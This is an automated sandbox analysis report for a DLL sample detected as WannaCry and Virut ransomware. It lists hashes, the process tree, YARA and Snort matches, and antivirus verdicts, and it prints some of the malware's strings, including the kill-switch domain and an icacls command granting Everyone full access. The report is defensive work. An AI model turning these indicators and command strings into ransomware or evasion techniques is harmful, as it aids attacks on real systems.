Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
7Qu8thR7WW

Overview

General Information

Sample Name:7Qu8thR7WW (renamed file extension from none to dll)
Analysis ID:670833
MD5:2de468a78a23789fd3ae2715b08b919a
SHA1:b552f34a006c309706ea1d4294f7e75a078beda3
SHA256:6448d228f342fb138a747f8fa317b004553f36f83fdd1b200baf80b7b9d9f5da
Tags:dllOpenCTIBRSandboxed
Infos:

Detection

Wannacry, Virut
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Detected Wannacry Ransomware
Malicious sample detected (through community Yara rule)
Yara detected Wannacry ransomware
Yara detected Virut
Antivirus / Scanner detection for submitted sample
Tries to download HTTP data from a sinkholed server
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Found evasive API chain (may execute only at specific dates)
Changes memory attributes in foreign processes to executable or writable
Query firmware table information (likely to detect VMs)
Tries to evade debugger and weak emulator (self modifying code)
Changes security center settings (notifications, updates, antivirus, firewall)
Machine Learning detection for sample
Machine Learning detection for dropped file
Creates a thread in another existing process (thread injection)
Tries to resolve many domain names, but no domain seems valid
Drops executables to the windows directory (C:\Windows) and starts them
Queries random domain names (often used to prevent blacklisting and sinkholes)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Creates files inside the system directory
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
PE file contains executable resources (Code or Archives)
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Entry point lies outside standard sections
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
AV process strings found (often used to terminate AV products)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Drops PE files to the windows directory (C:\Windows)
Checks if the current process is being debugged
Dropped file seen in connection with other malware
Queries disk information (often used to detect virtual machines)
Found large amount of non-executed APIs
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 6200 cmdline: loaddll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6208 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 6228 cmdline: rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • mssecsvc.exe (PID: 6252 cmdline: C:\WINDOWS\mssecsvc.exe MD5: D67ED037DC59A12F853AD3E2022B8AAE)
          • svchost.exe (PID: 6292 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 6372 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • winlogon.exe (PID: 556 cmdline: winlogon.exe MD5: F9017F2DC455AD373DF036F5817A8870)
          • lsass.exe (PID: 600 cmdline: C:\Windows\system32\lsass.exe MD5: 317340CD278A374BCEF6A30194557227)
          • fontdrvhost.exe (PID: 684 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
          • svchost.exe (PID: 704 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 756 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 804 cmdline: c:\windows\system32\svchost.exe -k rpcss -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 856 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • fontdrvhost.exe (PID: 900 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
          • svchost.exe (PID: 280 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 328 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 384 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s lmhosts MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 848 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: 32569E403279B3FD2EDB7EBD036273FA)
            • UsoClient.exe (PID: 5636 cmdline: C:\Windows\system32\usoclient.exe StartScan MD5: 4BBDA6EBE47623A13B100DE4B0C759E3)
            • UpdateNotificationMgr.exe (PID: 5828 cmdline: C:\Windows\System32\UNP\UpdateNotificationMgr.exe MD5: 268864F1F8A42C62E042C0CD9840CD02)
            • taskhostw.exe (PID: 3408 cmdline: taskhostw.exe None MD5: CE95E236FC9FE2D6F16C926C75B18BAF)
          • svchost.exe (PID: 1080 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1092 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s TimeBrokerSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1156 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1264 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s EventLog MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • rundll32.exe (PID: 6216 cmdline: rundll32.exe C:\Users\user\Desktop\7Qu8thR7WW.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
    • rundll32.exe (PID: 6284 cmdline: rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
      • mssecsvc.exe (PID: 6328 cmdline: C:\WINDOWS\mssecsvc.exe MD5: D67ED037DC59A12F853AD3E2022B8AAE)
        • tasksche.exe (PID: 1260 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 7F7CCAA16FB15EB1C7399D422F8363E8)
  • svchost.exe (PID: 6460 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6508 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • SgrmBroker.exe (PID: 6652 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)
  • mssecsvc.exe (PID: 6664 cmdline: C:\WINDOWS\mssecsvc.exe -m security MD5: D67ED037DC59A12F853AD3E2022B8AAE)
    • dwm.exe (PID: 964 cmdline: dwm.exe MD5: 70073A05B2B43FFB7A625708BB29E7C7)
  • svchost.exe (PID: 6692 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6976 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 4568 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 3764 cmdline: C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
7Qu8thR7WW.dllWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
  • 0x45604:$x1: icacls . /grant Everyone:F /T /C /Q
  • 0x353d0:$x3: tasksche.exe
  • 0x455e0:$x3: tasksche.exe
  • 0x455bc:$x4: Global\MsWinZonesCacheCounterMutexA
  • 0x45634:$x5: WNcry@2ol7
  • 0x3543b:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
  • 0x3028:$x7: mssecsvc.exe
  • 0x120ac:$x7: mssecsvc.exe
  • 0x1b3b4:$x7: mssecsvc.exe
  • 0x353a8:$x8: C:\%s\qeriuwjhrf
  • 0x45604:$x9: icacls . /grant Everyone:F /T /C /Q
  • 0x3014:$s1: C:\%s\%s
  • 0x12098:$s1: C:\%s\%s
  • 0x1b39c:$s1: C:\%s\%s
  • 0x353bc:$s1: C:\%s\%s
  • 0x45534:$s3: cmd.exe /c "%s"
  • 0x77a88:$s4: msg/m_portuguese.wnry
  • 0x326f0:$s5: \\192.168.56.20\IPC$
  • 0x1fae5:$s6: \\172.16.99.5\IPC$
  • 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00
  • 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
7Qu8thR7WW.dllJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
    7Qu8thR7WW.dllwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0x455e0:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0x45608:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Windows\tasksche.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0xf4d8:$x3: tasksche.exe
    • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0xf52c:$x5: WNcry@2ol7
    • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0xf42c:$s3: cmd.exe /c "%s"
    • 0x41980:$s4: msg/m_portuguese.wnry
    • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
    • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
    C:\Windows\tasksche.exewanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
    C:\Windows\tasksche.exeWin32_Ransomware_WannaCryunknownReversingLabs
    • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
    • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
    C:\Windows\mssecsvc.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0x3136c:$x3: tasksche.exe
    • 0x4157c:$x3: tasksche.exe
    • 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0x415d0:$x5: WNcry@2ol7
    • 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
    • 0xe048:$x7: mssecsvc.exe
    • 0x17350:$x7: mssecsvc.exe
    • 0x31344:$x8: C:\%s\qeriuwjhrf
    • 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0xe034:$s1: C:\%s\%s
    • 0x17338:$s1: C:\%s\%s
    • 0x31358:$s1: C:\%s\%s
    • 0x414d0:$s3: cmd.exe /c "%s"
    • 0x73a24:$s4: msg/m_portuguese.wnry
    • 0x2e68c:$s5: \\192.168.56.20\IPC$
    • 0x1ba81:$s6: \\172.16.99.5\IPC$
    • 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00
    • 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
    • 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
    • 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    C:\Windows\mssecsvc.exeWannaCry_Ransomware_GenDetects WannaCry RansomwareFlorian Roth (based on rule by US CERT)
    • 0x1bacc:$s1: __TREEID__PLACEHOLDER__
    • 0x1bb68:$s1: __TREEID__PLACEHOLDER__
    • 0x1c3d4:$s1: __TREEID__PLACEHOLDER__
    • 0x1d439:$s1: __TREEID__PLACEHOLDER__
    • 0x1e4a0:$s1: __TREEID__PLACEHOLDER__
    • 0x1f508:$s1: __TREEID__PLACEHOLDER__
    • 0x20570:$s1: __TREEID__PLACEHOLDER__
    • 0x215d8:$s1: __TREEID__PLACEHOLDER__
    • 0x22640:$s1: __TREEID__PLACEHOLDER__
    • 0x236a8:$s1: __TREEID__PLACEHOLDER__
    • 0x24710:$s1: __TREEID__PLACEHOLDER__
    • 0x25778:$s1: __TREEID__PLACEHOLDER__
    • 0x267e0:$s1: __TREEID__PLACEHOLDER__
    • 0x27848:$s1: __TREEID__PLACEHOLDER__
    • 0x288b0:$s1: __TREEID__PLACEHOLDER__
    • 0x29918:$s1: __TREEID__PLACEHOLDER__
    • 0x2a980:$s1: __TREEID__PLACEHOLDER__
    • 0x2ab94:$s1: __TREEID__PLACEHOLDER__
    • 0x2abf4:$s1: __TREEID__PLACEHOLDER__
    • 0x2e2c4:$s1: __TREEID__PLACEHOLDER__
    • 0x2e340:$s1: __TREEID__PLACEHOLDER__
    Click to see the 2 entries

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000019.00000000.346833993.000000007FFF0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
      0000001A.00000000.349657832.000000007FFD0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
        0000000A.00000000.297048245.000000007FFF0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
          0000000A.00000000.306825329.000000007FFF0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
            00000021.00000000.411578553.000000007FFF0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
              Click to see the 118 entries

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              8.0.mssecsvc.exe.7100a4.3.unpackWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
              • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
              • 0xf4d8:$x3: tasksche.exe
              • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
              • 0xf52c:$x5: WNcry@2ol7
              • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
              • 0xf42c:$s3: cmd.exe /c "%s"
              • 0x41980:$s4: msg/m_portuguese.wnry
              • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
              • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
              • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
              8.0.mssecsvc.exe.7100a4.3.unpackwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
              • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
              • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
              8.0.mssecsvc.exe.7100a4.3.unpackWin32_Ransomware_WannaCryunknownReversingLabs
              • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
              • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
              8.0.mssecsvc.exe.7100a4.3.raw.unpackWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
              • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
              • 0xf4d8:$x3: tasksche.exe
              • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
              • 0xf52c:$x5: WNcry@2ol7
              • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
              • 0xf42c:$s3: cmd.exe /c "%s"
              • 0x41980:$s4: msg/m_portuguese.wnry
              • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
              • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
              • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
              8.0.mssecsvc.exe.7100a4.3.raw.unpackwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
              • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
              • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
              Click to see the 123 entries

              Sigma Signatures

              ⊘No Sigma rule has matched

              Snort Signatures

              Timestamp:192.168.2.38.8.8.863863532024281 07/21/22-07:29:57.011921
              SID:2024281
              Source Port:63863
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:104.17.244.81192.168.2.380498472031515 07/21/22-07:28:17.346258
              SID:2031515
              Source Port:80
              Destination Port:49847
              Protocol:TCP
              Classtype:Misc activity
              Timestamp:8.8.8.8192.168.2.353518932811577 07/21/22-07:30:17.863944
              SID:2811577
              Source Port:53
              Destination Port:51893
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.38.8.8.849316532024291 07/21/22-07:26:23.728657
              SID:2024291
              Source Port:49316
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:8.8.8.8192.168.2.353500622811577 07/21/22-07:29:56.715628
              SID:2811577
              Source Port:53
              Destination Port:50062
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:104.17.244.81192.168.2.380497432031515 07/21/22-07:26:23.850764
              SID:2031515
              Source Port:80
              Destination Port:49743
              Protocol:TCP
              Classtype:Misc activity
              Timestamp:192.168.2.3104.17.244.8149743802024298 07/21/22-07:26:23.816493
              SID:2024298
              Source Port:49743
              Destination Port:80
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.3104.17.244.8149847802024298 07/21/22-07:28:17.315940
              SID:2024298
              Source Port:49847
              Destination Port:80
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.38.8.8.864452532012730 07/21/22-07:27:52.522217
              SID:2012730
              Source Port:64452
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.38.8.8.861877532024281 07/21/22-07:28:23.789188
              SID:2024281
              Source Port:61877
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:8.8.8.8192.168.2.353542052811577 07/21/22-07:28:52.845311
              SID:2811577
              Source Port:53
              Destination Port:54205
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:8.8.8.8192.168.2.353550452811577 07/21/22-07:30:38.693217
              SID:2811577
              Source Port:53
              Destination Port:55045
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.38.8.8.854726532012730 07/21/22-07:29:25.799738
              SID:2012730
              Source Port:54726
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.38.8.8.864941532024291 07/21/22-07:28:17.184519
              SID:2024291
              Source Port:64941
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Multi AV Scanner detection for submitted file
              Source: 7Qu8thR7WW.dllVirustotal: Detection: 80%Perma Link
              Source: 7Qu8thR7WW.dllMetadefender: Detection: 71%Perma Link
              Source: 7Qu8thR7WW.dllReversingLabs: Detection: 87%
              Antivirus / Scanner detection for submitted sample
              Source: 7Qu8thR7WW.dllAvira: detected
              Antivirus detection for URL or domain
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/URL Reputation: Label: malware
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comURL Reputation: Label: malware
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com//Avira URL Cloud: Label: malware
              Multi AV Scanner detection for domain / URL
              Source: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comVirustotal: Detection: 12%Perma Link
              Antivirus detection for dropped file
              Source: C:\Windows\tasksche.exeAvira: detection malicious, Label: TR/AD.WannaCry.sewvt
              Source: C:\Windows\mssecsvc.exeAvira: detection malicious, Label: W32/Virut.Gen
              Multi AV Scanner detection for dropped file
              Source: C:\Windows\tasksche.exeMetadefender: Detection: 88%Perma Link
              Source: C:\Windows\tasksche.exeReversingLabs: Detection: 97%
              Machine Learning detection for sample
              Source: 7Qu8thR7WW.dllJoe Sandbox ML: detected
              Machine Learning detection for dropped file
              Source: C:\Windows\tasksche.exeJoe Sandbox ML: detected
              Source: C:\Windows\mssecsvc.exeJoe Sandbox ML: detected
              Source: 4.0.mssecsvc.exe.400000.6.unpackAvira: Label: W32/Virut.Gen
              Source: 4.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 28.0.tasksche.exe.400000.0.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 4.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 16.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 4.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 28.2.tasksche.exe.400000.0.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 4.0.mssecsvc.exe.400000.2.unpackAvira: Label: W32/Virut.Gen
              Source: 16.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 8.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 4.0.mssecsvc.exe.400000.4.unpackAvira: Label: W32/Virut.Gen
              Source: 8.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 4.0.mssecsvc.exe.7100a4.5.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 8.0.mssecsvc.exe.400000.2.unpackAvira: Label: W32/Virut.Gen
              Source: 8.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.7100a4.7.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 16.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 8.0.mssecsvc.exe.7100a4.3.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 8.0.mssecsvc.exe.7100a4.7.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 8.0.mssecsvc.exe.7100a4.5.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 8.0.mssecsvc.exe.400000.4.unpackAvira: Label: W32/Virut.Gen
              Source: 8.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.7100a4.3.unpackAvira: Label: TR/AD.WannaCry.sewvt
              Source: 16.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 8.0.mssecsvc.exe.400000.6.unpackAvira: Label: W32/Virut.Gen
              Source: C:\Windows\tasksche.exeCode function: 28_2_004018B9 CryptReleaseContext,28_2_004018B9
              Source: 7Qu8thR7WW.dllStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

              Networking

              barindex
              Tries to download HTTP data from a sinkholed server
              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Jul 2022 05:26:23 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72e1857eee63bb9d-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 